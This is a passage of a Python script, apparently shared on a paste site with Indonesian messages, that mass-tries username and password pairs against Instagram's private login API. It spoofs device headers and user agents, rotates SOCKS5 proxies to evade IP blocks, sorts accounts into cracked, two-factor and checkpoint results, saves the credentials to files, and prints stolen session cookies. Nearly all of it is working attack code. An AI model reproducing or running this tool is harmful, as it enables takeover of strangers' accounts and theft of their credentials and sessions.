  1104.                     tree.add(Columns([Panel(f"[bold red]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold red]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold red]{feedpost}.00", style = "bold grey50", width=19)]))
  1105.                     tree.add(Panel(f"[bold red]{headers['user-agent']}", style = "bold grey50", width=61))
  1106.                     printz(tree)
  1107.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  1108.                     self.faktor+=1
  1109.                     with open('/sdcard/2F/'+self.result_two,'a') as wr:
  1110.                         wr.write(save)
  1111.                         wr.close()  
  1112.                     break
  1113.                 elif 'challenge_required' in str(response):
  1114.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  1115.                     except (UnboundLocalError) as e: pass
  1116.                     tree = Tree(Panel.fit("[bold yellow]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1117.                     tree.add(Columns([Panel(f"[bold yellow]{username}", style = "bold grey50", width=30), Panel(f"[bold yellow]{passwd}", style = "bold grey50", width=30)]))
  1118.                     tree.add(Columns([Panel(f"[bold yellow]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold yellow]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold yellow]{feedpost}.00", style = "bold grey50", width=19)]))
  1119.                     tree.add(Panel(f"[bold yellow]{headers['user-agent']}", style = "bold grey50", width=61))
  1120.                     printz(tree)
  1121.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  1122.                     self.chekpoint+=1
  1123.                     with open('/sdcard/CP/'+self.result_cp,'a') as wr:
  1124.                         wr.write(save)
  1125.                         wr.close()
  1126.                     break    
  1127.                 elif 'ip_block' in str(response):
  1128.                     Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  1129.                     time.sleep(3.5)    
  1130.                 else: continue  
  1131.             except (KeyboardInterrupt, requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects):
  1132.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  1133.                 time.sleep(31)
  1134.                 self.ExecAjax_Threads(username, password)
  1135.         self.looping+=1
  1136.        
  1137.     def DetedtorChekpoint(self, username, passwd):
  1138.         byps = requests.Session()
  1139.         Console().print(f"[bold grey50]   ──> [bold purple]{self.looping}[bold grey50]/[bold white] Ok:-[bold green]{self.success}[bold white] 2f:-[bold red]{self.faktor}[bold white] Cp:-[bold yellow]{self.chekpoint}[bold white] Salah:-[bold blue]{self.sandi_salah}[bold white]    ", end='\r')
  1140.         ua_generate = Useragent().useragent_api()
  1141.         try:
  1142.             hash = hashlib.md5()
  1143.             hash.update(username.encode('utf-8') + passwd.encode('utf-8'))
  1144.             hex_ = hash.hexdigest()
  1145.             hash.update(hex_.encode('utf-8') + '12345'.encode('utf-8'))
  1146.             curl = byps.get('https://i.instagram.com/api/v1/qe/sync/', data = {'signed_body': '7b589ee94c17a18ac2ea9a5247069f1d5f631ba9a37fae36429f10be5dddccfa.'+str(json.dumps({"id":"{}".format(str(uuid.uuid4())),"server_config_retrieval":"1","experiments":"ig_android_fci_onboarding_friend_search,ig_android_device_detection_info_upload,ig_android_sms_retriever_backtest_universe,ig_android_direct_add_direct_to_android_native_photo_share_sheet,ig_growth_android_profile_pic_prefill_with_fb_pic_2,ig_account_identity_logged_out_signals_global_holdout_universe,ig_android_login_identifier_fuzzy_match,ig_android_reliability_leak_fixes_h1_2019,ig_android_video_render_codec_low_memory_gc,ig_android_custom_transitions_universe,ig_android_push_fcm,ig_android_show_login_info_reminder_universe,ig_android_email_fuzzy_matching_universe,ig_android_one_tap_aymh_redesign_universe,ig_android_direct_send_like_from_notification,ig_android_suma_landing_page,ig_android_direct_main_tab_universe,ig_android_session_scoped_logger,ig_android_accoun_switch_badge_fix_universe,ig_android_smartlock_hints_universe,ig_android_black_out,ig_android_account_switch_infra_universe,ig_android_video_ffmpegutil_pts_fix,ig_android_multi_tap_login_new,ig_android_caption_typeahead_fix_on_o_universe,ig_android_save_pwd_checkbox_reg_universe,ig_android_nux_add_email_device,ig_android_direct_remove_view_mode_stickiness_universe,ig_username_suggestions_on_username_taken,ig_android_analytics_accessibility_event,ig_android_ingestion_video_support_hevc_decoding,ig_android_account_recovery_auto_login,ig_android_feed_cache_device_universe2,ig_android_sim_info_upload,ig_android_mobile_http_flow_device_universe,ig_account_recovery_via_whatsapp_universe,ig_android_hide_fb_button_when_not_installed_universe,ig_android_targeted_one_tap_upsell_universe,ig_android_gmail_oauth_in_reg,ig_android_native_logcat_interceptor,ig_android_hide_typeahead_for_logged_users,ig_android_vc_interop_use_test_igid_universe,ig_android_reg_modularization_universe,ig_android_phone_edit_distance_universe,ig_android_device_verification_separate_endpoint,ig_android_universe_noticiation_channels,ig_smartlock_login,ig_android_account_linking_universe,ig_android_hsite_prefill_new_carrier,ig_android_retry_create_account_universe,ig_android_family_apps_user_values_provider_universe,ig_android_reg_nux_headers_cleanup_universe,ig_android_device_info_foreground_reporting,ig_android_device_verification_fb_signup,ig_android_onetaplogin_optimization,ig_video_debug_overlay,ig_android_ask_for_permissions_on_reg,ig_assisted_login_universe,ig_android_display_full_country_name_in_reg_universe,ig_android_security_intent_switchoff,ig_android_device_info_job_based_reporting,ig_android_passwordless_auth,ig_android_direct_main_tab_account_switch,ig_android_modularized_dynamic_nux_universe,ig_android_fb_account_linking_sampling_freq_universe,ig_android_fix_sms_read_lollipop,ig_android_access_flow_prefill"})),'ig_sig_key_version': '4'}, allow_redirects=True)
  1147.             headers = {
  1148.                 'x-ig-bandwidth-totalbytes-b': str(random.randint(5000000, 90000000)),
  1149.                 'x-ig-app-locale': 'in_ID',
  1150.                 'x-ig-bandwidth-speed-kbps': str(random.randint(2500000, 3000000) / 1000),
  1151.                 'x-ig-device-locale': 'in_ID',
  1152.                 'x-ig-mapped-locale': 'id_ID',
  1153.                 'x-pigeon-rawclienttime': '{:.6f}'.format(time.time()),
  1154.                 'x-ig-bandwidth-totaltime-ms': str(random.randint(2000, 9000)),
  1155.                 'x-ig-android-id': f'android-{hash.hexdigest()[:16]}',
  1156.                 'x-bloks-version-id': '8ca96ca267e30c02cf90888d91eeff09627f0e3fd2bd9df472278c9a6c022cbb',
  1157.                 'x-ig-timezone-offset': str(-time.timezone),
  1158.                 'x-ig-connection-type': 'MOBILE(LTE)',
  1159.                 'x-ig-capabilities': random.choice(['Fw==','3brTv10=','3brTvw8=','3brTvwM=']),
  1160.                 'x-pigeon-session-id': f'UFS-{str(uuid.uuid4())}-0',
  1161.                 'x-ig-app-id': '567067343352427',
  1162.                 'priority': 'u=3',
  1163.                 'x-ig-family-device-id': f'{str(uuid.uuid4())}',
  1164.                 'user-agent': ua_generate,
  1165.                 'accept-language': 'id-ID, en-US',
  1166.                 'x-bloks-is-layout-rtl': 'false',
  1167.                 'x-ig-device-id': f'{str(uuid.uuid4())}',
  1168.                 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
  1169.                 'Host': 'i.instagram.com',
  1170.                 'x-fb-http-engine': 'Liger',
  1171.                 'x-fb-client-ip': 'True',
  1172.                 'x-fb-server-cluster': 'True',
  1173.                 'x-fb-connection-type': 'MOBILE.LTE',
  1174.                 'connection': 'keep-alive',
  1175.                 'cookie': (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  1176.             }
  1177.             payload = json.dumps({
  1178.                 'username':username,
  1179.                 'phone_id': str(uuid.uuid4()),
  1180.                 '_csrftoken': curl.cookies.get('csrftoken',None),
  1181.                 'guid': str(uuid.uuid4()),
  1182.                 'device_id': f'android-{hash.hexdigest()[:16]}',
  1183.                 'login_attempt_count': '0',
  1184.                 'enc_password':Requre().enc_password(passwd)
  1185.                 }
  1186.             )
  1187.             encode = ('signed_body=7b589ee94c17a18ac2ea9a5247069f1d5f631ba9a37fae36429f10be5dddccfa.'+urllib.parse.quote(payload)+'&ig_sig_key_version=4')
  1188.             proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  1189.             response = byps.post('https://i.instagram.com/api/v1/accounts/login/', data = encode, headers = headers, proxies = proxs, allow_redirects=True).text
  1190.             if 'logged_in_user' in str(response):
  1191.                 self.success+=1
  1192.                 try: cookie = (';'.join(['%s=%s'%(name, value) for name, value in byps.cookies.get_dict().items()]))
  1193.                 except (Exception) as e: cookie = (None)
  1194.                 try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  1195.                 except (UnboundLocalError) as e: pass
  1196.                 tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1197.                 tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  1198.                 tree.add(Columns([Panel(f"[bold green]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold green]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}.00", style = "bold grey50", width=19)]))
  1199.                 tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1200.                 tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  1201.                 printz(tree)  
  1202.             elif 'two_factor_required' in str(response):
  1203.                 try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  1204.                 except (UnboundLocalError) as e: pass
  1205.                 tree = Tree(Panel.fit("[bold red]LOGIN TWO FAKTOR", style = "bold grey50"), style="bold white")
  1206.                 tree.add(Columns([Panel(f"[bold red]{username}", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", style = "bold grey50", width=30)]))
  1207.                 tree.add(Columns([Panel(f"[bold red]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold red]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold red]{feedpost}.00", style = "bold grey50", width=19)]))
  1208.                 tree.add(Panel(f"[bold red]{headers['user-agent']}", style = "bold grey50", width=61))
  1209.                 printz(tree)
  1210.                 self.faktor+=1
  1211.             elif 'challenge_required' in str(response):
  1212.                 try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  1213.                 except (UnboundLocalError) as e: pass
  1214.                 tree = Tree(Panel.fit("[bold yellow]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1215.                 tree.add(Columns([Panel(f"[bold yellow]{username}", style = "bold grey50", width=30), Panel(f"[bold yellow]{passwd}", style = "bold grey50", width=30)]))
  1216.                 tree.add(Columns([Panel(f"[bold yellow]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold yellow]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold yellow]{feedpost}.00", style = "bold grey50", width=19)]))
  1217.                 tree.add(Panel(f"[bold yellow]{headers['user-agent']}", style = "bold grey50", width=61))
  1218.                 printz(tree)
  1219.                 self.chekpoint+=1
  1220.             elif 'ip_block' in str(response):
  1221.                 Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  1222.                 time.sleep(3.5)  
  1223.             elif 'Harap tunggu beberapa menit sebelum mencoba lagi.' in str(response):  
  1224.                 Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  1225.                 time.sleep(3.5)  
  1226.             elif 'Kesalahan' in str(response):
  1227.                 Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  1228.                 time.sleep(3.5)  
  1229.             elif 'Maaf, terdapat masalah pada permintaan Anda.' in str(response):
  1230.                 Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  1231.                 time.sleep(3.5)  
  1232.             else:
  1233.                 try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  1234.                 except (UnboundLocalError) as e: pass
  1235.                 tree = Tree(Panel.fit("[bold blue]KATA SANDI SALAH", style = "bold grey50"), style="bold white")
  1236.                 tree.add(Columns([Panel(f"[bold blue]{username}", style = "bold grey50", width=30), Panel(f"[bold blue]{passwd}", style = "bold grey50", width=30)]))
  1237.                 tree.add(Columns([Panel(f"[bold blue]{follower}.00", style = "bold grey50", width=19), Panel(f"[bold blue]{followed}.00", style = "bold grey50", width=21), Panel(f"[bold blue]{feedpost}.00", style = "bold grey50", width=19)]))
  1238.                 tree.add(Panel(f"[bold blue]{headers['user-agent']}", style = "bold grey50", width=61))
  1239.                 printz(tree)
  1240.                 self.sandi_salah+=1
  1241.         except (KeyboardInterrupt, requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects):
  1242.             Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  1243.             time.sleep(31)
  1244.         self.looping+=1
  1245.          
  1246.  
  1247.  
  1248.        
  1249.  
Add Comment
Please, Sign In to add comment